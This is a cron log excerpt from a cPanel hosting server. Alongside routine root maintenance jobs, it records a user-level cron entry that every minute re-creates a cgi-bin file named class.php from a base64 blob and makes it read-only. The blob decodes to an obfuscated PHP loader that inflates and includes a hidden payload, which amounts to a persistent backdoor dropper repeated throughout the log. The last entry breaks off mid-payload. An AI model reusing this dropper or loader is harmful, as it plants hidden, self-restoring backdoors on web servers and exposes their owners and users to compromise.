Sep  4 04:15:01 server CROND[17966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:15:01 server CROND[17959]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:15:01 server CROND[17964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:16:01 server CROND[18849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:16:01 server CROND[18850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:16:01 server CROND[18851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:17:01 server CROND[19368]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  4 04:17:01 server CROND[19371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:17:01 server CROND[19384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:17:01 server CROND[19385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[19736]: finished imunify-antivirus.cron
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[29974]: starting logclean
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[19748]: finished logclean
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[29974]: starting logrotate
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[19760]: finished logrotate
Sep  4 04:17:35 server run-parts(/etc/cron.daily)[29974]: starting maldet
Sep  4 04:18:01 server CROND[20359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:18:01 server CROND[20361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:18:01 server CROND[20362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:19:01 server CROND[20731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:19:01 server CROND[20733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:19:01 server CROND[20732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:20:01 server CROND[21114]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:20:01 server CROND[21115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:20:01 server CROND[21117]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:20:01 server CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:20:01 server CROND[21138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:20:01 server CROND[21135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:20:01 server CROND[21137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:20:01 server CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:20:01 server CROND[21133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:21:01 server CROND[21960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:21:01 server CROND[21961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:21:01 server CROND[21962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:21:38 server run-parts(/etc/cron.daily)[23955]: finished maldet
Sep  4 04:21:38 server run-parts(/etc/cron.daily)[29974]: starting man-db.cron
Sep  4 04:21:38 server run-parts(/etc/cron.daily)[24032]: finished man-db.cron
Sep  4 04:21:38 server anacron[12869]: Job `cron.daily' terminated (produced output)
Sep  4 04:21:40 server anacron[12869]: Normal exit (1 job run)
Sep  4 04:22:01 server CROND[25081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:22:01 server CROND[25082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:22:01 server CROND[25080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:23:01 server CROND[25469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:23:01 server CROND[25470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:23:01 server CROND[25471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:24:01 server CROND[25845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:24:01 server CROND[25846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:24:01 server CROND[25847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:25:01 server CROND[26220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:25:01 server CROND[26222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:25:01 server CROND[26223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:25:01 server CROND[26226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:25:01 server CROND[26231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:25:01 server CROND[26224]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:25:01 server CROND[26228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:25:01 server CROND[26227]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 04:26:01 server CROND[27056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:26:01 server CROND[27057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:26:01 server CROND[27058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:27:01 server CROND[27527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07